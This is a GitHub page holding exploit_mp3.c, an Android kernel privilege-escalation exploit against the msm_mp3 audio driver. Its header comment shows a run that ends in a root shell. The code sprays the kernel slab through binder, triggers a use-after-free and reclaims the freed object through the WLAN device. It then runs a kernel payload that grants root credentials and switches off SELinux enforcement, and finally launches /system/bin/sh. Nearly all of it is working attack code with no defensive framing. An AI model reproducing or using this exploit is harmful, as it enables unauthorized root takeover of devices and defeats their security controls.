-
Notifications
You must be signed in to change notification settings - Fork 72
Expand file tree
/
Copy pathexploit_mp3.c
More file actions
188 lines (157 loc) · 5.41 KB
/
exploit_mp3.c
File metadata and controls
188 lines (157 loc) · 5.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
/*
* Author: freener.gdx@gmail.com
*
* root@bacon:/data/local/tmp # ./exploit_mp3
* [+] Begin to Test Exploit
* [+] uid=0 euid=0
* [+] change to system
* [+] uid=1000 euid=1000
* [+] Spray SLUB Cache
* [+] Spray SLUB Cache Down
* [+] out_flush Address is at 0x008505
* [+] in_flush Address is at 0x008471
* [+] free a object in kmalloc-512 slab
* [+] Occupy the object we freed, and change the data of it
* [+] Payload Address is at 0x008489
* [+] Trigger Kernel Execution Code
* [+] uid=0 euid=0
* root@bacon:/data/local/tmp #
*/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <malloc.h>
#include <unistd.h>
#define MAX_FD 3
#define BINDER_MAX_FDS 300
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef int __attribute__((regparm(3))) (* _printk)(const char *fmt, ...);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
_printk printk;
#define COMMIT_CREDS_ADDR (0xc01ee21c)
#define PREPARE_KERNEL_CREDS_ADDR (0xc01eea00)
#define PRINTK (0xc0d50ce4)
#define SELINUX_ENFORCING (0xC16A7070)
struct file {
void *ops;
};
int __attribute__((regparm(3))) payload( struct file* f, unsigned int a, unsigned long b)
{
printk( "Come here with close\n" );
commit_creds( prepare_kernel_cred(0) );
unsigned char *t=f;
*(unsigned int *)(t+0xe8) = t+0xe8;
printk( "Fix corrupted ion_region_queue : %x\n",*(unsigned int*)(t+0xe8) );
memcpy( t+0xf0, t+512+0xf0, 4 ); //copy client
memcpy( t+0xB0, t+512+0xB0, 0xe8-0xb0-1 );
return -1;
}
int __attribute__((regparm(3))) payload_ioctl( struct file* f, unsigned int a, unsigned long b)
{
printk( "Come here with ioctl\n" );
unsigned int *selinux_enforcing = SELINUX_ENFORCING;
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
*selinux_enforcing = 0;
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
commit_creds( prepare_kernel_cred(0) );
return -1;
}
struct q6audio_aio {
int dummy;
};
void __attribute__((regparm(3))) out_flush( struct q6audio_aio * xx ) {
unsigned char *t=xx;
*(unsigned int *)(t+0xe8) = t+0xe8;
printk( "modified value : %x\n",*(unsigned int*)(t+0xe8) );
memcpy( t+0xf0, t+512+0xf0, 4 );
return 0;
}
void __attribute__((regparm(3))) in_flush( struct q6audio_aio * xx ) {
printk( "Call in_flush\n" );
return 0;
}
struct list_head {
struct list_head *next, *prev;
};
struct list_head ion_region_queue;
#define AID_SYSTEM 1000
int main( int argc, char **argv )
{
int fd[MAX_FD];
int binder_fd[BINDER_MAX_FDS];
printf( "[+] Begin to Test Exploit\n" );
int i = 0;
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
setgid( AID_SYSTEM );
setuid( AID_SYSTEM );
printf( "[+] change to system\n" );
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
commit_creds = COMMIT_CREDS_ADDR;
prepare_kernel_cred = PREPARE_KERNEL_CREDS_ADDR;
printk = PRINTK;
printf( "[+] Spray SLUB Cache\n" );
for( ; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;
}
}
for ( i=0 ; i < MAX_FD; i++ ) {
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
if ( fd[i] < 0 ) {
printf( "[-] Can not open /dev/msm_mp3\n" );
return -1;
}
}
printf( "[+] Spray SLUB Cache Down\n" );
int fd_wlan;
char *buffer1 = NULL;
int message1_len = 512 + 0x150+4 - 4;
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
buffer1 = (char *)malloc( message1_len + 4 );
if ( buffer1 == NULL ) {
goto fail;
}
memset( buffer1, 0, message1_len+4 );
int length = 512;
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length + 0x14C) = payload_ioctl;
*(unsigned int *)(buffer1 + length + 0x150) = payload_ioctl;
*(unsigned int *)(buffer1 + length + 0x48 ) = 0x01;
*(unsigned int *)(buffer1 + length + 0xF0 ) = 0x41414141; //client
printf( "[+] out_flush Address is at %08p\n", out_flush );
printf( "[+] in_flush Address is at %08p\n", in_flush );
*(unsigned int *)(buffer1 + length + 0xF4 ) = payload;
*(unsigned int *)(buffer1 + length + 0xF8 ) = in_flush;;
*(unsigned int *)(buffer1 + length + 0xFC ) = 0;
*(unsigned int *)(buffer1 + length + 0xE8 ) = 0x42424242;//&ion_region_queue;
int count = 0;
printf( "[+] free a object in kmalloc-512 slab\n" );
close( fd[0] );
printf( "[+] Occupy the object we freed, and change the data of it\n" );
count = write( fd_wlan, buffer1, message1_len + 4 );
printf( "[+] Payload Address is at %08p\n", payload );
printf( "[+] Trigger Kernel Execution Code\n" );
int result;
//result = ioctl( fd[2], 0x40046100, 0x44444444 );
result = ioctl( fd[1], 0x40046144, 0x44444444 );
//close( fd[1] );
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
if ( getuid() != 0 ) {
printf( "[-] root faild\n" );
goto fail;
}
execl( "/system/bin/sh", "/system/bin/sh", NULL );
fail:
return -1;
}